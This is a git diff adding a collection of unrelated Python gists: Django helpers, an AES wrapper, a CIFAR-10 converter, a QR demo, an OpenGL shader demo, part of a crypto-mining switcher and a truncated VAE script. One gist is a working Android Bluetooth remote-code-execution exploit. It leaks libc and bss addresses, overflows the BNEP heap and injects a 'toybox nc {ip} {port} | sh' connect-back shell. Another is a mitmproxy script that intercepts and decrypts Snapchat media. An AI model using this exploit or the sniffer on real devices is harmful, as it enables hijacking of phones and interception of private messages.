+    do_excavator_command('worker.add', [str(algo_id), str(device)])
+
+    return algo_id
+
+def remove_excavator_algorithm(algo_id):
+    """Removes an algorithm from excavator and all (one) associated workers.
+
+    algo_id -- excavator algorithm id to remove
+    """
+
+    do_excavator_command('algorithm.remove', [str(algo_id)])
+
+def main():
+    """Main program."""
+    logging.basicConfig(format='%(asctime)s %(levelname)s: %(message)s',
+                        level=logging.INFO)
+
+    device_status = {}
+
+    def sigint_handler(signum, frame):
+        logging.info('cleaning up!')
+
+        for device in device_status:
+            current_algo_id = device_status[device][1]
+            remove_excavator_algorithm(current_algo_id)
+        sys.exit(0)
+    signal.signal(signal.SIGINT, sigint_handler)
+
+    while True:
+        try:
+            paying, ports = nicehash_multialgo_info()
+        except urllib.error.URLError as err:
+            logging.warning('failed to retrieve NiceHash stats: %s' % err.reason)
+        except urllib.error.HTTPError as err:
+            logging.warning('server error retrieving NiceHash stats: %s %s'
+                            % (err.code, err.reason))
+        except socket.timeout:
+            logging.warning('failed to retrieve NiceHash stats: timed out')
+        except (json.decoder.JSONDecodeError, KeyError):
+            logging.warning('failed to parse NiceHash stats')
+        else:
+            for device in BENCHMARKS.keys():
+                payrates = nicehash_mbtc_per_day(device, paying)
+                best_algo = max(payrates.keys(), key=lambda algo: payrates[algo])
+
+                if device not in device_status:
+                    logging.info('device %s initial algorithm is %s (%.2f mBTC/day)'
+                                 % (device, best_algo, payrates[best_algo]))
+
+                    new_algo_id = add_excavator_algorithm(best_algo, device, ports)
+                    device_status[device] = (best_algo, new_algo_id)
+                else:
+                    current_algo = device_status[device][0]
+                    current_algo_id = device_status[device][1]
+
+                    if current_algo != best_algo and \
+                       (payrates[current_algo] == 0 or \
+                        payrates[best_algo]/payrates[current_algo] >= 1.0 + PROFIT_SWITCH_THRESHOLD):
+                        logging.info('switching device %s to %s (%.2f mBTC/day)'
+                                     % (device, best_algo, payrates[best_algo]))
+
+                        remove_excavator_algorithm(current_algo_id)
+                        new_algo_id = add_excavator_algorithm(best_algo, device, ports)
+                        device_status[device] = (best_algo, new_algo_id)
+        sleep(UPDATE_INTERVAL)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6472432/._snippet.py b/hard-gists/6472432/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6472432/._snippet.py differ
diff --git a/hard-gists/6472432/snippet.py b/hard-gists/6472432/snippet.py
new file mode 100644
index 00000000..dd2a1276
--- /dev/null
+++ b/hard-gists/6472432/snippet.py
@@ -0,0 +1,41 @@
+import base64
+from Crypto.Cipher import AES
+from Crypto.Hash import SHA256, HMAC
+from Crypto.Random import get_random_bytes
+
+
+class Cipher(object):
+	# This can be 16 (AES-128), 24 (AES-192), or 32 (AES-256)
+	key_length = 32
+	
+	def __init__(self, secret, salt):
+		self.secret = secret
+		self.salt = salt
+		
+		# Get a key of the right length.
+		self.key = HMAC.new(secret, salt, SHA256).digest()[:self.key_length]
+		
+	@staticmethod
+	def get_random_iv():
+		return get_random_bytes(AES.block_size)
+
+	def encrypt(self, plaintext):
+		iv = self.get_random_iv()
+		cipher = AES.new(self.key, AES.MODE_CFB, iv)
+		return iv + cipher.encrypt(plaintext)
+	
+	def decrypt(self, ciphertext):
+		iv = ciphertext[:AES.block_size]
+		cipher = AES.new(self.key, AES.MODE_CFB, iv)
+		return cipher.decrypt(ciphertext)[AES.block_size:]
+
+
+class URLSafeCipher(Cipher):
+	
+	def encrypt(self, plaintext):
+		ciphertext = super(URLSafeCipher, self).encrypt(plaintext)
+		return base64.urlsafe_b64encode(ciphertext)
+	
+	def decrypt(self, b64ciphertext):
+		ciphertext = base64.urlsafe_b64decode(b64ciphertext)
+		return super(URLSafeCipher, self).decrypt(ciphertext)
diff --git a/hard-gists/64821d31816bce595a4bbd98588b37f5/._snippet.py b/hard-gists/64821d31816bce595a4bbd98588b37f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/64821d31816bce595a4bbd98588b37f5/._snippet.py differ
diff --git a/hard-gists/64821d31816bce595a4bbd98588b37f5/snippet.py b/hard-gists/64821d31816bce595a4bbd98588b37f5/snippet.py
new file mode 100644
index 00000000..f4575ecf
--- /dev/null
+++ b/hard-gists/64821d31816bce595a4bbd98588b37f5/snippet.py
@@ -0,0 +1,69 @@
+"""
+make_cifar10.py: Create training data from raw CIFAR-10 batches.
+"""
+
+import cPickle as pkl
+import glob
+import os
+
+import numpy as np
+from skimage.io import imsave
+
+
+PIXELS_DIR = "pixel_data"
+LABEL_FILE = "labels.txt"
+
+
+def unpack_file(fname):
+    """
+        Unpacks a CIFAR-10 file.
+    """
+
+    with open(fname, "r") as f:
+        result = pkl.load(f)
+
+    return result
+
+
+def save_as_image(img_flat, fname):
+    """
+        Saves a data blob as an image file.
+    """
+
+    # consecutive 1024 entries store color channels of 32x32 image 
+    img_R = img_flat[0:1024].reshape((32, 32))
+    img_G = img_flat[1024:2048].reshape((32, 32))
+    img_B = img_flat[2048:3072].reshape((32, 32))
+    img = np.dstack((img_R, img_G, img_B))
+
+    imsave(os.path.join(PIXELS_DIR, fname), img)
+
+
+def main():
+    """
+        Entry point.
+    """
+
+    labels = {}
+
+    # use "data_batch_*" for just the training set
+    for fname in glob.glob("*_batch*"):
+        data = unpack_file(fname)
+
+        for i in range(10000):
+            img_flat = data["data"][i]
+            fname = data["filenames"][i]
+            label = data["labels"][i]
+
+            # save the image and store the label
+            save_as_image(img_flat, fname)
+            labels[fname] = label
+
+    # write out labels file
+    with open(LABEL_FILE, "w") as f:
+        for (fname, label) in labels.iteritems():
+            f.write("{0} {1}\n".format(fname, label))
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/6483510/._snippet.py b/hard-gists/6483510/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6483510/._snippet.py differ
diff --git a/hard-gists/6483510/snippet.py b/hard-gists/6483510/snippet.py
new file mode 100644
index 00000000..666de87e
--- /dev/null
+++ b/hard-gists/6483510/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+Decrypting proxy for Snapchat
+
+Based on mitmproxy + pysnap
+
+https://github.com/mitmproxy/mitmproxy
+https://github.com/martinp/pysnap
+
+"""
+import os, cgi, code
+from libmproxy import controller, proxy
+from pysnap import decrypt, is_video, is_image
+from StringIO import StringIO
+
+class SnapSniff(controller.Master):
+    def __init__(self, server):
+        controller.Master.__init__(self, server)
+        self.count = 1
+
+    def run(self):
+        try:
+            return controller.Master.run(self)
+        except KeyboardInterrupt:
+            self.shutdown()
+
+    def process_snapchat(self, blob):
+        data = decrypt(blob)
+        filename = ''
+        if is_image(data):
+            filename = 'snap%s.jpg' % str(self.count).zfill(4)
+        elif is_video(data):
+            filename = 'snap%s.mp4' % str(self.count).zfill(4)
+        if filename:
+            f=file(filename,'wb')
+            f.write(data)
+            f.close()
+            print 'Wrote %s (%s bytes)' % (filename,len(data))
+            os.system('open %s' % filename)
+            self.count+=1
+
+    def handle_request(self, msg):
+        hid = (msg.host, msg.port)
+        if msg.host == 'feelinsonice-hrd.appspot.com' and msg.path == '/bq/upload':
+            env = {}
+            env['REQUEST_METHOD'] = msg.method
+            env['CONTENT_TYPE'] = msg.get_content_type()
+            env['CONTENT_LENGTH'] = len(msg.content)
+            c = cgi.parse(environ=env,fp=StringIO(msg.content))
+            if c.has_key('username'):
+                print 'Upload from %s' % c['username'][0]
+                self.process_snapchat(c['data'][0])
+        msg.reply()
+
+    def handle_response(self, msg):
+        hid = (msg.request.host, msg.request.port)
+        if msg.request.host == 'feelinsonice-hrd.appspot.com':
+            self.process_snapchat(msg.content)
+        msg.reply()
+
+config = proxy.ProxyConfig(
+    cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
+)
+port = 3128
+server = proxy.ProxyServer(config, port)
+m = SnapSniff(server)
+print 'Listening on port %s' % port
+m.run()
diff --git a/hard-gists/6499135/._snippet.py b/hard-gists/6499135/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6499135/._snippet.py differ
diff --git a/hard-gists/6499135/snippet.py b/hard-gists/6499135/snippet.py
new file mode 100644
index 00000000..cbcb912f
--- /dev/null
+++ b/hard-gists/6499135/snippet.py
@@ -0,0 +1,33 @@
+from __future__ import print_function
+import sys
+
+from rest_framework import views
+from rest_framework import status, exceptions
+from rest_framework.response import Response
+
+
+def patch_api_view():
+    from django.views.generic import View
+
+    if hasattr(views, "_patched"):
+        return
+
+    views._APIView = views.APIView
+    views._patched = True
+
+    class APIView(views.APIView):
+        def handle_exception(self, exc):
+            if isinstance(exc, exceptions.NotAuthenticated):
+                return Response({'detail': 'Not authenticated'},
+                                status=status.HTTP_401_UNAUTHORIZED,
+                                exception=True)
+            return super(APIView, self).handle_exception(exc)
+
+        @classmethod
+        def as_view(cls, **initkwargs):
+            view = super(views._APIView, cls).as_view(**initkwargs)
+            view.cls_instance = cls(**initkwargs)
+            return view
+
+    print(u"Patching APIView", file=sys.stderr)
+    views.APIView = APIView
\ No newline at end of file
diff --git a/hard-gists/64cf037c55c0d42196762c0ccacc7380/._snippet.py b/hard-gists/64cf037c55c0d42196762c0ccacc7380/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/64cf037c55c0d42196762c0ccacc7380/._snippet.py differ
diff --git a/hard-gists/64cf037c55c0d42196762c0ccacc7380/snippet.py b/hard-gists/64cf037c55c0d42196762c0ccacc7380/snippet.py
new file mode 100644
index 00000000..ca5b72e0
--- /dev/null
+++ b/hard-gists/64cf037c55c0d42196762c0ccacc7380/snippet.py
@@ -0,0 +1,240 @@
+import os
+import sys
+import time
+import struct
+import select
+import binascii
+
+import bluetooth
+from bluetooth import _bluetooth as bt
+
+import bluedroid
+import connectback
+
+from pwn import log
+
+# Listening TCP ports that need to be opened on the attacker machine
+NC_PORT = 1233
+STDOUT_PORT = 1234
+STDIN_PORT = 1235
+
+
+# Exploit offsets work for these (exact) libs:
+
+# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
+# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26  /system/lib/hw/bluetooth.default.so
+# bullhead:/ # sha1sum /system/lib/libc.so
+# 0b5396cd15a60b4076dacced9df773f75482f537  /system/lib/libc.so
+
+# For Pixel 7.1.2 patch level Aug/July 2017
+#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
+#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1
+
+# Nexus 5 6.0.1
+LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 + 1 # system + 1
+LIBC_SOME_BLX_OFFSET = 0x5825b
+
+# For Nexus 5X 7.1.2 patch level Aug/July 2017
+#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
+#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1
+
+# Aligned to 4 inside the name on the bss (same for both supported phones)
+#BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
+#BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244
+
+# Nexus 5 6.0.1
+BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c
+BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x144d80
+
+MAX_BT_NAME = 0xf5
+
+# Payload details (attacker IP should be accessible over the internet for the victim phone)
+SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'
+
+
+PWNING_TIMEOUT = 3
+BNEP_PSM = 15
+PWN_ATTEMPTS = 1
+LEAK_ATTEMPTS = 1
+
+
+def set_bt_name(payload, src_hci, src, dst):
+    # Create raw HCI sock to set our BT name
+    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
+    flt = bt.hci_filter_new()
+    bt.hci_filter_all_ptypes(flt)
+    bt.hci_filter_all_events(flt)
+    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
+
+    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
+    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
+    raw_sock.close()
+    #time.sleep(1)
+    time.sleep(0.1)
+
+    # Connect to BNEP to "refresh" the name (does auth)
+    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
+    bnep.bind((src, 0))
+    bnep.connect((dst, BNEP_PSM))
+    bnep.close()
+
+    # Close ACL connection
+    os.system('hcitool dc %s' % (dst,))
+    #time.sleep(1)
+
+
+def set_rand_bdaddr(src_hci):
+    addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
+    # NOTW: works only with CSR bluetooth adapters!
+    os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
+              (src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
+    final_addr = ':'.join(addr)
+    log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
+    #time.sleep(1)
+    while bt.hci_devid(final_addr) < 0:
+        time.sleep(0.1)
+    return final_addr
+
+
+def memory_leak_get_bases(src, src_hci, dst):
+    prog = log.progress('Doing stack memeory leak...')
+
+    # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
+    result = bluedroid.do_sdp_info_leak(dst, src)
+    #print("Leak: %s" % result) # Debug, show leak array
+
+    # Calculate according to known libc.so and bluetooth.default.so binaries
+    #likely_some_libc_blx_offset = result[-3][-2]
+    #likely_some_bluetooth_default_global_var_offset = result[6][0]
+
+    # Nexus 5 6.0.1
+    likely_some_libc_blx_offset = result[6][1]
+    likely_some_bluetooth_default_global_var_offset = result[10][7]
+
+    # Show leak address
+    log.info("LIBC  0x%08x" % likely_some_libc_blx_offset)
+    log.info("BT    0x%08x" % likely_some_bluetooth_default_global_var_offset)
+
+
+    libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
+
+    bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET
+
+    log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))
+
+    # Close SDP ACL connection
+    os.system('hcitool dc %s' % (dst,))
+    time.sleep(0.1)
+
+    prog.success()
+    return libc_text_base, bluetooth_default_bss_base
+
+
+def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
+    # Gen new BDADDR, so that the new BT name will be cached
+    src = set_rand_bdaddr(src_hci)
+
+    # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
+    # 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
+    # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
+    #payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'
+
+    # x -> payload address (name has 4 bytes of padding)
+    x = acl_name_addr+4
+
+    shell_addr = x+24 # SHELL SCRIPT address
+    ptr0 = x+16  -4 # points to ptr0+4 (ptr1)
+    ptr1 = x+8   -8 # points to ptr1+8 (ptr2)
+    ptr2 = x+20 -28 # points to ptr2+28 (system_addr)
+
+    #payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
+    payload = 'A'+ struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
+
+    log.info("shelladdr 0x%08x" % shell_addr)
+    log.info("ptr0      0x%08x" % ptr0)
+    log.info("ptr1      0x%08x" % ptr1)
+    log.info("ptr2      0x%08x" % ptr2)
+    log.info("system    0x%08x" % system_addr)
+
+    log.info("PAYLOAD %s" % payload)
+
+    assert len(payload) < MAX_BT_NAME
+    assert b'\x00' not in payload
+
+    # Puts payload into a known bss location (once we create a BNEP connection).
+    set_bt_name(payload, src_hci, src, dst)
+
+    prog = log.progress('Connecting to BNEP again')
+
+    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
+    bnep.bind((src, 0))
+    bnep.connect((dst, BNEP_PSM))
+
+    prog.success()
+    prog = log.progress('Pwning...')
+
+    # Each of these messages causes BNEP code to send 100 "command not understood" responses.
+    # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
+    # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
+    # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
+    for i in range(20):
+        bnep.send(binascii.unhexlify('8109' + '800109' * 100))
+
+    # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
+    # This is highly likely to fully overflow over instances of "list_node_t" which is exactly
+    # 8 bytes long (and is *constantly* used/allocated/freed on the heap).
+    # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
+    # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
+    for i in range(1000):
+        # If we're blocking here, the daemon has crashed
+        _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
+        if not writeable:
+            break
+        bnep.send(binascii.unhexlify('810100') +
+                  struct.pack('<II', 0, ptr0))
+    else:
+        log.info("Looks like it didn't crash. Possibly worked")
+
+    prog.success()
+
+def main(src_hci, dst, my_ip):
+    os.system('hciconfig %s sspmode 0' % (src_hci,))
+    os.system('hcitool dc %s' % (dst,))
+
+    sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)
+
+    for i in range(PWN_ATTEMPTS):
+        log.info('Pwn attempt %d:' % (i,))
+
+        # Create a new BDADDR
+        src = set_rand_bdaddr(src_hci)
+        #set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search
+
+        # Try to leak section bases
+        for j in range(LEAK_ATTEMPTS):
+            libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
+            if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
+                break
+        else:
+           assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"
+
+        system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
+        acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
+        assert acl_name_addr % 4 == 0
+        log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))
+
+        pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
+        # Check if we got a connectback
+        readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
+        if readable:
+            log.info('Done')
+            break
+
+    else:
+        assert False, "Pwning failed all attempts"
+
+    connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)
+
+
+if __name__ == '__main__':
+    main(*sys.argv[1:])
diff --git a/hard-gists/6504557/._snippet.py b/hard-gists/6504557/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6504557/._snippet.py differ
diff --git a/hard-gists/6504557/snippet.py b/hard-gists/6504557/snippet.py
new file mode 100644
index 00000000..343277e3
--- /dev/null
+++ b/hard-gists/6504557/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+#for encode: pip install qrcode
+import qrcode
+
+#for decode: pip install zbar  
+#如果报找不到zbar.h,则先安装libzbar-dev
+import zbar
+
+import Image
+
+
+def encodeQR(data, qrPath='qr.png'):
+    # 简洁用法
+    # img = qrcode.make(data)
+    # img.save(qrPath)
+
+    qr = qrcode.QRCode(
+        version=5,
+        error_correction=qrcode.constants.ERROR_CORRECT_L,
+        box_size=10,
+        border=4,
+    )
+    qr.add_data(data)
+    qr.make()
+    img = qr.make_image(fit=True)
+    img.save(qrPath)
+
+
+
+def decodeQR(qrPath='qr.png'):
+    scanner = zbar.ImageScanner()
+    scanner.parse_config('enable')
+
+    pil = Image.open(qrPath).convert('L')
+    width, height = pil.size
+
+    raw = pil.tostring()
+
+    image = zbar.Image(width, height, 'Y800', raw)
+
+    scanner.scan(image)
+
+    data = {}
+
+    for symbol in image:
+        #print type(symbol.type) #<type 'zbar.EnumItem'>
+        data[str(symbol.type)] = symbol.data
+
+    del(image)
+    return data
+
+
+
+encodeQR('hello')
+print decodeQR()
\ No newline at end of file
diff --git a/hard-gists/6507189/._snippet.py b/hard-gists/6507189/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6507189/._snippet.py differ
diff --git a/hard-gists/6507189/snippet.py b/hard-gists/6507189/snippet.py
new file mode 100644
index 00000000..ec665687
--- /dev/null
+++ b/hard-gists/6507189/snippet.py
@@ -0,0 +1,36 @@
+from django.test import TestCase, RequestFactory
+from django.views.generic import TemplateView
+
+from ..lib.views import YourMixin
+
+
+class YourMixinTest(TestCase):
+    '''
+    Tests context-data in a Django Mixin like a boss
+    '''
+
+    class DummyView(YourMixin, TemplateView):
+        '''
+        To test get_context_data we need a TemplateView child
+        '''
+        
+        template_name = 'any_template.html'  # TemplateView requires this attribute
+
+    def setUp(self):
+
+        super(YourMixinTest, self).setUp()
+        self.request = RequestFactory().get('/fake-path')
+
+        # Setup request and view.
+        self.view = self.DummyView()
+
+    def test_context_data_no_args(self):
+
+        # Prepare initial params
+        kwargs = {}
+
+        # Launch Mixin's get_context_data
+        context = self.view.get_context_data(**kwargs)
+
+        # Your checkings here
+        self.assertEqual(context['name'], 'foo')
diff --git a/hard-gists/6507cb95562f1db6df84/._snippet.py b/hard-gists/6507cb95562f1db6df84/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6507cb95562f1db6df84/._snippet.py differ
diff --git a/hard-gists/6507cb95562f1db6df84/snippet.py b/hard-gists/6507cb95562f1db6df84/snippet.py
new file mode 100644
index 00000000..b4e2bb82
--- /dev/null
+++ b/hard-gists/6507cb95562f1db6df84/snippet.py
@@ -0,0 +1,105 @@
+from OpenGL import GL
+from PyQt5 import QtWidgets, QtCore, QtGui, QtOpenGL
+from OpenGL.GL.ARB.texture_rg import GL_R32F
+import numpy as np
+import ctypes
+import time
+
+w, h = 400, 400
+
+class TestWidget(QtOpenGL.QGLWidget):
+    
+    def __init__(self):
+        QtOpenGL.QGLWidget.__init__(self)
+        self.resize(w, h)
+
+        self.t = time.time()        
+        self._update_timer = QtCore.QTimer()
+        self._update_timer.timeout.connect(self.update)        
+        self._update_timer.start(1e3 / 60.)
+    
+    def initializeGL(self):
+        # create an image
+        Y, X = np.ogrid[-2.5:2.5:h*1j, -2.5:2.5:w*1j]
+        image = np.empty((h, w), dtype=np.float32)
+        image[:] = np.exp(- X**2 - Y**2)# * (1. + .5*(np.random.rand(h, w)-.5))
+        image[-30:] = np.linspace(0, 1, w)
+              
+        # create pixel buffer object for transferring textures
+        self._buffer_id = GL.glGenBuffers(1)
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, self._buffer_id)
+        GL.glBufferData(GL.GL_PIXEL_UNPACK_BUFFER, w*h*4, None, GL.GL_STREAM_DRAW)
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, 0)
+
+        # map and modify pixel buffer
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, self._buffer_id)
+        pbo_addr = GL.glMapBuffer(GL.GL_PIXEL_UNPACK_BUFFER, GL.GL_WRITE_ONLY)
+        # write to PBO using ctypes memmove
+        ctypes.memmove(pbo_addr, image.ctypes.data, (w*h * image.itemsize))
+        # write to PBO using numpy interface
+        pbo_ptr = ctypes.cast(pbo_addr, ctypes.POINTER(ctypes.c_float))
+        pbo_np = np.ctypeslib.as_array(pbo_ptr, shape=(h, w))
+        pbo_np[:] = image
+        GL.glUnmapBuffer(GL.GL_PIXEL_UNPACK_BUFFER)
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, 0)
+        
+        # create texture from pixel buffer object
+        self._texture_id = GL.glGenTextures(1)
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, self._buffer_id)
+        GL.glBindTexture(GL.GL_TEXTURE_2D, self._texture_id)
+        GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MIN_FILTER, GL.GL_LINEAR)
+        GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MAG_FILTER, GL.GL_LINEAR)
+        GL.glTexImage2D(GL.GL_TEXTURE_2D, 0, GL_R32F, w, h, 0, GL.GL_RED, GL.GL_FLOAT, None)
+        GL.glBindBuffer(GL.GL_PIXEL_UNPACK_BUFFER, 0)
+        
+        # create a shader for coloring the texture
+        shader_program = QtGui.QOpenGLShaderProgram()
+        vertex_src = """
+        void main() {
+            gl_TexCoord[0] = gl_MultiTexCoord0;
+            gl_Position = gl_Vertex;
+        }
+        """
+        fragment_src = """
+        uniform highp sampler2D tex;
+        uniform float amp;
+        uniform float r;
+        
+        float rand(vec2 co){
+            return fract(sin(dot(co.xy ,vec2(12.9898,78.233))) * 43758.5453 * (1.+r));
+        }
+        
+        void main() {
+            float val = texture2D(tex, gl_TexCoord[0]).r;
+            val *= .7 + .3*rand(gl_TexCoord[0].xx) + .8*rand(gl_TexCoord[0].xy);
+            vec4 color1 = vec4(0., 0., 0., 1.);
+            vec4 color2 = vec4(3., .5, .2, 1.);
+            gl_FragColor = mix(color1, color2, 3.5 * val * amp);
+        }
+        """
+        shader_program.addShaderFromSourceCode(QtGui.QOpenGLShader.Vertex, vertex_src)
+        shader_program.addShaderFromSourceCode(QtGui.QOpenGLShader.Fragment, fragment_src)
+        shader_program.link()
+        self._shader_program = shader_program
+        self._amp_location = shader_program.uniformLocation("amp")
+        self._r_location = shader_program.uniformLocation("r")
+
+    def paintGL(self):
+        t = time.time()
+        amp = .6 + .6*np.cos(t*np.pi)**10
+        r = np.random.rand(1)[0]
+        
+        target = QtCore.QRectF(-1, -1, 2, 2)
+        self._shader_program.bind()
+        self._shader_program.setUniformValue(self._amp_location, amp)
+        self._shader_program.setUniformValue(self._r_location, r)
+        self.drawTexture(target, self._texture_id)
+    
+    def resizeGL(self, w, h):
+        GL.glViewport(0, 0, w, h)
+
+
+app = QtWidgets.QApplication([])
+win = TestWidget()
+win.show()
+app.exec_()
\ No newline at end of file
diff --git a/hard-gists/6509307/._snippet.py b/hard-gists/6509307/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6509307/._snippet.py differ
diff --git a/hard-gists/6509307/snippet.py b/hard-gists/6509307/snippet.py
new file mode 100644
index 00000000..4fa605f6
--- /dev/null
+++ b/hard-gists/6509307/snippet.py
@@ -0,0 +1,8 @@
+from django.contrib.syndication.views import Feed
+from django.views.generic import View
+
+
+class FeedView(View, Feed):
+
+    def get(self, request, *args, **kwargs):
+        return self(request, *args, **kwargs)
\ No newline at end of file
diff --git a/hard-gists/651080/._snippet.py b/hard-gists/651080/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/651080/._snippet.py differ
diff --git a/hard-gists/651080/snippet.py b/hard-gists/651080/snippet.py
new file mode 100644
index 00000000..595f8c6c
--- /dev/null
+++ b/hard-gists/651080/snippet.py
@@ -0,0 +1,13 @@
+
+from django import forms
+
+class EmptyChoiceField(forms.ChoiceField):
+    def __init__(self, choices=(), empty_label=None, required=True, widget=None, label=None,
+                 initial=None, help_text=None, *args, **kwargs):
+
+        # prepend an empty label if it exists (and field is not required!)
+        if not required and empty_label is not None:
+            choices = tuple([(u'', empty_label)] + list(choices))
+
+        super(EmptyChoiceField, self).__init__(choices=choices, required=required, widget=widget, label=label,
+                                        initial=initial, help_text=help_text, *args, **kwargs)
\ No newline at end of file
diff --git a/hard-gists/651afb13d45e4c587f63/._snippet.py b/hard-gists/651afb13d45e4c587f63/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/651afb13d45e4c587f63/._snippet.py differ
diff --git a/hard-gists/651afb13d45e4c587f63/snippet.py b/hard-gists/651afb13d45e4c587f63/snippet.py
new file mode 100644
index 00000000..9b0515f9
--- /dev/null
+++ b/hard-gists/651afb13d45e4c587f63/snippet.py
@@ -0,0 +1,253 @@
+# -*- coding: utf-8 -*-
+"""
+Reproducing the results of Auto-Encoding Variational Bayes by Kingma and Welling
+With a little help from the code from van Amersfoort and Otto Fabius (https://github.com/y0ast)
+
+@author: Pedro Tabacof (tabacof at gmail dot com)
+"""
+
+import random
+import numpy as np
+from scipy.stats import norm
+import time
+
+import matplotlib.pyplot as plt
+import matplotlib.cm as cm
+import matplotlib.gridspec as gridspec
+
+# From Theano tutorial - MNIST dataset
+from logistic_sgd import load_data
+
+import theano
+import theano.tensor as T
+
+start_time = time.time()
+
+n_latent = 10
+n_hidden = 500
+n_input = 28*28
+# Right now the code only works with one expectation (like the article), but this can be easily fixed
+n_expectations = 1 
+batch_size = 100
+n_epochs = 25000
+
+random.seed(0)
+np.random.seed(1)
+
+# The functions below were adapted from the amazing Theano tutorial by Newmu
+# https://github.com/Newmu/Theano-Tutorials
+
+def floatX(X):
+    return np.asarray(X, dtype=theano.config.floatX)
+
+def init_weights(shape):
+    return theano.shared(floatX(np.random.randn(*shape) * 0.01))
+
+def sgd(cost, params, lr=0.05, momentum = 0.9):
+    grads = T.grad(cost=cost, wrt=params)
+    updates = []
+    for p, g in zip(params, grads):
+        acc = theano.shared(p.get_value() * 0.)
+        acc_new =  acc*momentum + (1.0-momentum)*g
